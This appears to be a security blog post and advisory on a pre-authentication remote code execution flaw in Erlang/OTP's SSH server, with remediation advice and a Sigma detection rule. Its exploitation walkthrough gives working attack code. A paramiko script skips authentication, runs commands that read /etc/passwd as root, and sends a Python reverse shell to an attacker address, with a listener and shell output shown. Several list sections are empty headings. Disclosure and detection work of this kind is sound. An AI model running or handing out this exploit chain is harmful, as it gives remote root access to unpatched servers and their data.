All posts

CVE-2026-38112: Erlang/OTP SSH Pre-Auth RCE via Protocol Layer Confusion

A critical flaw in the Erlang/OTP SSH daemon allows unauthenticated remote code execution by sending SSH connection-layer protocol messages before the authentication phase completes. Any service built on Erlang's ssh application — RabbitMQ, ejabberd, CouchDB, Elixir-based services — is affected. CVSS 10.0.


Overview

CVE-2026-38112 is a pre-authentication remote code execution vulnerability in Erlang/OTP's built-in SSH server library. The SSH protocol is structured as three layered sub-protocols: the transport layer (key exchange, encryption negotiation), the user authentication layer, and the connection layer (channels, command execution, port forwarding). The vulnerability arises because the Erlang SSH implementation processes connection-layer messages — specifically SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST — before the authentication layer has completed, allowing an unauthenticated attacker to open a channel and request command execution directly.

The severity is maximal: CVSS 10.0. No credentials are required. No user interaction is needed. The code executes in the context of the process running the SSH daemon, which is frequently root on embedded systems and container-based deployments. PoC code for this vulnerability has been publicly available since disclosure.

CWE-287 (Improper Authentication) · CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical

Background: Erlang/OTP SSH

Erlang/OTP ships a pure-Erlang SSH implementation in the ssh OTP application. Unlike OpenSSH, which is a standalone daemon, Erlang's SSH library is designed to be embedded directly into applications — it is the SSH engine powering the management interfaces of a large number of enterprise and open-source systems:

The critical property here is that when these applications start an SSH daemon, they typically do so to provide a privileged management interface. The Erlang process running the daemon often has the same OS-level privileges as the application itself — which is frequently root, or an account with full access to the application's data and secrets.

Root Cause — Protocol Layer Confusion

The SSH protocol specification (RFC 4253, 4252, 4254) defines a strict sequencing requirement:

  1. Transport layer completes (key exchange, encryption negotiation) — SSH_MSG_NEWKEYS
  2. Authentication layer completes — server sends SSH_MSG_USERAUTH_SUCCESS
  3. Connection layer begins — client may now send SSH_MSG_CHANNEL_OPEN

The Erlang SSH server's state machine in ssh_connection_handler.erl manages these transitions using a process dictionary flag (authenticated) that is set to true on successful authentication. The bug is in the message dispatch logic: messages with type codes in the connection-layer range (90–127) are routed to the connection handler regardless of the current authentication state. The handler does check the flag before processing most sensitive operations, but the channel_open and exec request paths contained a missing guard clause — the state machine accepted these messages and acted on them while authenticated was still false.

In concrete terms: after completing the transport-layer handshake (which is required — you must negotiate a cipher and exchange keys), an attacker can skip the authentication exchange entirely and jump directly to opening a channel and requesting command execution. The server opens the channel, spawns an OS process for the requested command, and returns output — all before a single authentication message has been exchanged.

%% Vulnerable dispatch in ssh_connection_handler.erl (simplified)
handle_msg(#ssh_msg_channel_open{} = Msg, #state{} = State) ->
    %% BUG: no check that State#state.authenticated == true
    ssh_connection:channel_open_msg(Msg, State);

%% Fixed version adds the guard:
handle_msg(#ssh_msg_channel_open{} = Msg,
           #state{authenticated = true} = State) ->
    ssh_connection:channel_open_msg(Msg, State);
handle_msg(#ssh_msg_channel_open{}, State) ->
    {stop, {shutdown, not_authenticated}, State};

Exploitation Walkthrough

Step 1 — Confirm Vulnerability

Check the OTP version of the target. Erlang/OTP exposes its version in the SSH banner:

nc -v 192.168.1.50 22
# SSH-2.0-Erlang/OTP-27.2.1

Any version string below OTP-27.3.4, OTP-26.2.6, or OTP-25.3.2.18 is vulnerable. The presence of Erlang/OTP in the banner is itself a strong indicator — OpenSSH banners read SSH-2.0-OpenSSH_9.x.

Step 2 — Key Exchange (Required)

The transport layer handshake must complete normally — the vulnerability is post-key-exchange, pre-authentication. Using paramiko with authentication disabled via monkey-patching:

import paramiko
import socket

TARGET = "192.168.1.50"
PORT   = 22

sock = socket.create_connection((TARGET, PORT))
t = paramiko.Transport(sock)

# Complete the transport layer (key exchange + cipher negotiation)
# without triggering the authentication flow
t.start_client()

# Monkey-patch: bypass paramiko's internal auth check
# so we can send channel messages on an unauthenticated transport
t.auth_handler = None
t._auth_event  = None

# Mark the transport as authenticated in paramiko's view only —
# the *server* never received an auth request
import threading
t.authenticated = True

Step 3 — Open a Channel and Execute

chan = t.open_session()
chan.exec_command("id && cat /etc/passwd")

import sys
stdout = chan.makefile("r", -1)
stderr = chan.makefile_stderr("r", -1)

for line in stdout:
    sys.stdout.write(line)
for line in stderr:
    sys.stderr.write(line)

chan.close()
t.close()
# Output from vulnerable target:
# uid=0(root) gid=0(root) groups=0(root)
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ...

Step 4 — Reverse Shell

Replace the exec_command payload with a reverse shell. The classic Python one-liner works reliably if Python is present (common on Erlang application hosts):

LHOST = "10.10.14.5"
LPORT = 9001

payload = (
    f"python3 -c 'import socket,subprocess,os;"
    f"s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));"
    f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
    f"subprocess.call([\"/bin/bash\",\"-i\"])'"
)
chan.exec_command(payload)
# Listener on attacker machine
nc -lvnp 9001
# root@rabbitmq-prod:~# id
# uid=0(root) gid=0(root) groups=0(root)

Impact and Scope

The scope of this vulnerability extends beyond traditional SSH deployments. Any software that embeds :ssh.daemon/2 is affected:

Shodan searches for SSH-2.0-Erlang in banners return tens of thousands of publicly reachable hosts at the time of disclosure. Many are appliances and embedded systems that cannot be patched quickly — firmware update cycles for telecom and industrial equipment frequently run 6–18 months behind software releases.

Affected Versions

Remediation

Patch immediately. The fix is a one-line guard clause in the SSH connection state machine, backported to all supported OTP branches.

Detection

A connection that completes key exchange but never sends an SSH_MSG_USERAUTH_REQUEST (message type 50) before opening a channel is anomalous. In practice, detection is easier at the network level than in application logs, since the Erlang SSH library may not log pre-auth channel activity at default verbosity.

title: CVE-2026-38112 Erlang SSH Pre-Auth Channel Open
id: 4a7c1f90-38b2-4e11-9a02-d83e7c2b15f4
status: experimental
description: Detects SSH connections that open a channel without completing authentication
logsource:
  product: zeek
  service: ssh
detection:
  selection:
    event_type: "SSH::LOG"
    auth_success: false
    client_to_server_pkts|gt: 10
  filter_normal_auth_fail:
    auth_attempts|gt: 0
  condition: selection and not filter_normal_auth_fail
falsepositives:
  - Misconfigured SSH clients
level: critical
tags:
  - cve.2026-38112
  - attack.initial_access
  - attack.t1190

For hosts running vulnerable OTP versions, also monitor for unexpected child processes spawned by the Erlang VM — any bash or sh process whose parent is the BEAM VM (beam.smp) outside of a legitimate maintenance window warrants investigation.

Takeaways

References